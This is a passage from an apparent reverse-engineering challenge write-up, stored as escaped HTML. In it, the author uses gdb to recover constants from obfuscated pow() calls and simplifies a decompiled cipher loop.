style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev113\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev110\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3333670936LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2147831941LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2217132274LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev107\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4141055499LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1038626365LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1517838417LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev104\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev102\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2686461105LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3867813406LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e686930351LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev101\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3259940977LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1820144441LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2738368048LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev100\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ebitwise_not\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2920661428LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e408102610LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e758347707LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev14\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2688446990LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3924691225LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3780184521LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev15\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eor_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev16\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e715168552LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4203380807LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4042894304LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev17\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3362982059LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1951226027LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2091265364LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev18\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2447727191LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4231433857LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2356928693LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev19\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev15\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev18\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev17\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev16\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev20\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev19\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev14\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev21\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev104\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev20\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev101\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev102\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev22\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev113\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev21\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev107\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev110\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev23\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev121\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev22\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev116\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev132\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev24\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev146\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev23\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev126\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev138\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev25\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev149\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev24\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1501804614LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev26\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev155\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev25\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3199106012LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev27\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003epow\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)((\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_DWORD\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev159\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev26\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3474473344LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eit basically does some operations then calls \u003ccode\u003epow(2, result)\u003c/code\u003e (third arg of pow is not used), then the rest of the logic uses it’s result for calculations, this pattern repeats four times inside the loop, we can replace those regions by their final results in the decompilation to simplify it.\u003c/p\u003e\n\u003cp\u003eto get this four constants i used gdb with dprintf (setting the breakpoint at the final instruction before pow returns) to print the return value of pow.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edprintf\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x162E\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x555555554000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#34;rax = 0x%02x\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e$\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe get these values\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand sure enough, these four values kept repeating, meaning my observation was right, now putting them inside the loop gives us the following:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev27\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// static 1 output\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003ev173\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev27\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev47\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// static 2 output\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003ev174\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev47\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev173\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev174\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev29\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev53\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev54\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev53\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev55\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev54\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev29\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev55\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev72\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// static 3 output\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003ev177\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev72\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev88\u003c/span\u003e \u003cspan 